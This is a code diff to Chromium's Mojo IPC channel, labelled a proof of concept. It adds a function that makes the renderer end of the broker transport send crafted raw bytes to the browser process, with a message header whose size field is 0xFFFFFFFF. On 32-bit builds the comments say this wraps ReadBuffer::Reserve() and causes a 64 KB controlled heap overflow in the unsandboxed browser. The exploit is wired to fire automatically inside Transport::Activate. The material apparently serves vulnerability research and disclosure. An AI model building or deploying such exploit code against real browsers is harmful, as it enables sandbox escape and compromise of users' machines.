diff --git a/mojo/core/channel.cc b/mojo/core/channel.cc index 12a65307693e7..b0bc11d063f1e 100644 --- a/mojo/core/channel.cc +++ b/mojo/core/channel.cc @@ -939,6 +939,21 @@ class Channel::ReadBuffer { // Ensures the ReadBuffer has enough contiguous space allocated to hold // |num_bytes| more bytes; returns the address of the first available byte. char* Reserve(size_t num_bytes) { + // [POC instrumentation] Log when an attacker-controlled num_bytes near + // UINT32_MAX reaches Reserve(), and show that on 32-bit size_t the + // unchecked add would wrap below size_ and skip the grow branch. This + // logging is purely diagnostic for 64-bit verification runs and is NOT + // part of the exploit; remove before measuring 32-bit ASAN output. + if (num_bytes > size_t{0x80000000}) { + const uint32_t sum32 = static_cast(num_occupied_bytes_) + + static_cast(num_bytes); + LOG(ERROR) << "[POC] ReadBuffer::Reserve(num_bytes=0x" << std::hex + << num_bytes << ") num_occupied_bytes_=0x" + << num_occupied_bytes_ << " size_=0x" << size_ + << " | 32-bit sum=0x" << sum32 + << " grow_skipped_on_32bit=" + << (sum32 <= static_cast(size_)); + } if (num_occupied_bytes_ + num_bytes > size_) { size_ = std::max(static_cast(size_ * kGrowthFactor), num_occupied_bytes_ + num_bytes); diff --git a/mojo/core/channel.h b/mojo/core/channel.h index 6876761250895..583e42682b326 100644 --- a/mojo/core/channel.h +++ b/mojo/core/channel.h @@ -440,6 +440,11 @@ class MOJO_SYSTEM_IMPL_EXPORT Channel // Delegate methods will no longer be invoked after this call. void ShutDown(); + // [POC] Simulates a compromised renderer writing raw bytes to the transport + // that trigger the 32-bit size_t overflow in ReadBuffer::Reserve() on the + // peer (browser) side. No-op on platforms that don't use a raw socket FD. + virtual void SendReadBufferOverflowExploitForPOC() {} + // Sets the process handle of the remote endpoint to which this Channel is // connected. If called at all, must be called only once, and before Start(). void set_remote_process(base::Process remote_process) { diff --git a/mojo/core/channel_posix.cc b/mojo/core/channel_posix.cc index 43df1bf2fb40e..586fac056cbcb 100644 --- a/mojo/core/channel_posix.cc +++ b/mojo/core/channel_posix.cc @@ -16,6 +16,8 @@ #include "base/check.h" #include "base/compiler_specific.h" +#include "base/posix/eintr_wrapper.h" +#include "base/threading/platform_thread.h" #include "base/functional/bind.h" #include "base/location.h" #include "base/logging.h" @@ -134,6 +136,76 @@ void ChannelPosix::Start() { } } +// [POC] Simulates a compromised renderer attacking the browser process via the +// 32-bit size_t overflow in Channel::ReadBuffer::Reserve(). This writes raw +// bytes directly to the AF_UNIX transport socket, bypassing normal message +// framing, exactly as arbitrary renderer code execution would allow. +// +// On the browser side, ChannelPosix::OnFdReadable(): +// iter 1: Reserve(4096), recvmsg -> 4096 bytes; OnReadComplete dispatches the +// 8-byte message A, Discard(8); message B has num_bytes=0xFFFFFFFF so +// size_hint = 0xFFFFFFFF - 4088 = 0xFFFFF007, kNotEnoughData. +// iter 2: Reserve(0xFFFFF007); on 32-bit, 4096 + 0xFFFFF007 wraps to 7 which +// is <= size_(4096), so the grow branch is skipped and data_+4096 +// (one past the 4096-byte HeapArray) is returned with +// buffer_capacity = 0xFFFFF007. recvmsg() then writes the overflow +// payload past the allocation -> heap-buffer-overflow WRITE in the +// unsandboxed browser process. +void ChannelPosix::SendReadBufferOverflowExploitForPOC() { + // Runs on the IO thread (posted via PostDelayedTask). First, block further + // legitimate writes so our raw bytes aren't interleaved with normal traffic + // and the browser-side ReadBuffer can drain to its quiescent state + // (num_occupied_bytes_ = 0, size_ = 4096). + { + base::AutoLock lock(write_lock_); + if (!socket_.is_valid()) { + return; + } + reject_writes_ = true; + } + + // Give the browser IO thread time to consume any in-flight bytes so its + // ReadBuffer resets via Discard(). + base::PlatformThread::Sleep(base::Milliseconds(200)); + + constexpr size_t kFirstReadSize = 4096; // == kReadBufferSize + constexpr size_t kOverflowSize = 64 * 1024; // controlled OOB-write content + std::vector wire(kFirstReadSize + kOverflowSize, 0x41); + + // Message A: minimal valid IpczHeader, num_bytes = kMinIpczHeaderSize. + auto* a = UNSAFE_BUFFERS( + reinterpret_cast(wire.data())); + a->size = static_cast(Channel::Message::kMinIpczHeaderSize); + a->num_handles = 0; + a->num_bytes = static_cast(Channel::Message::kMinIpczHeaderSize); + + // Message B: num_bytes = UINT32_MAX -> huge size_hint -> 32-bit wrap. + auto* b = + UNSAFE_BUFFERS(reinterpret_cast( + wire.data() + Channel::Message::kMinIpczHeaderSize)); + b->size = static_cast(Channel::Message::kMinIpczHeaderSize); + b->num_handles = 0; + b->num_bytes = 0xFFFFFFFFu; + + // Single write so the browser's first recvmsg(iov_len=4096) returns exactly + // 4096 bytes with the overflow payload still queued for the second recvmsg. + // Use MSG_NOSIGNAL to avoid SIGPIPE if the browser already closed its end. + int fd; + { + base::AutoLock lock(write_lock_); + if (!socket_.is_valid()) { + return; + } + fd = socket_.get(); + } + ssize_t rc = HANDLE_EINTR( + send(fd, wire.data(), wire.size(), MSG_NOSIGNAL)); + LOG(ERROR) << "[POC] renderer wrote " << rc << "/" << wire.size() + << " raw bytes to browser Mojo transport (fd=" << fd + << "); browser-side ReadBuffer::Reserve() overflow expected on " + "32-bit targets"; +} + void ChannelPosix::ShutDownImpl() { // Always shut down asynchronously when called through the public interface. io_task_runner_->PostTask( diff --git a/mojo/core/channel_posix.h b/mojo/core/channel_posix.h index d8fc8e885b42f..f637265d78712 100644 --- a/mojo/core/channel_posix.h +++ b/mojo/core/channel_posix.h @@ -34,6 +34,7 @@ class ChannelPosix : public Channel, void Start() override; void ShutDownImpl() override; + void SendReadBufferOverflowExploitForPOC() override; void Write(MessagePtr message) override LOCKS_EXCLUDED(write_lock_); void LeakHandle() override; bool GetReadPlatformHandles(const void* payload, diff --git a/mojo/core/ipcz_driver/transport.cc b/mojo/core/ipcz_driver/transport.cc index 8d3ea1eef5654..f7e0138a2cd9d 100644 --- a/mojo/core/ipcz_driver/transport.cc +++ b/mojo/core/ipcz_driver/transport.cc @@ -353,6 +353,18 @@ bool Transport::Activate(IpczHandle transport, // lock. channel->Start(); + // [POC] If this is the non-broker (renderer) end of the broker transport, + // simulate a compromised renderer attacking the browser-side + // ReadBuffer::Reserve() 32-bit overflow. Delay 2s so initial handshake + // traffic drains and the browser ReadBuffer is in its 4096-byte reset state. + if (source_type() == EndpointType::kNonBroker && + destination_type() == EndpointType::kBroker) { + io_task_runner_->PostDelayedTask( + FROM_HERE, + base::BindOnce(&Channel::SendReadBufferOverflowExploitForPOC, channel), + base::Seconds(2)); + } + if (channel->SupportsChannelUpgrade() && source_type() == EndpointType::kBroker && destination_type() == EndpointType::kNonBroker) {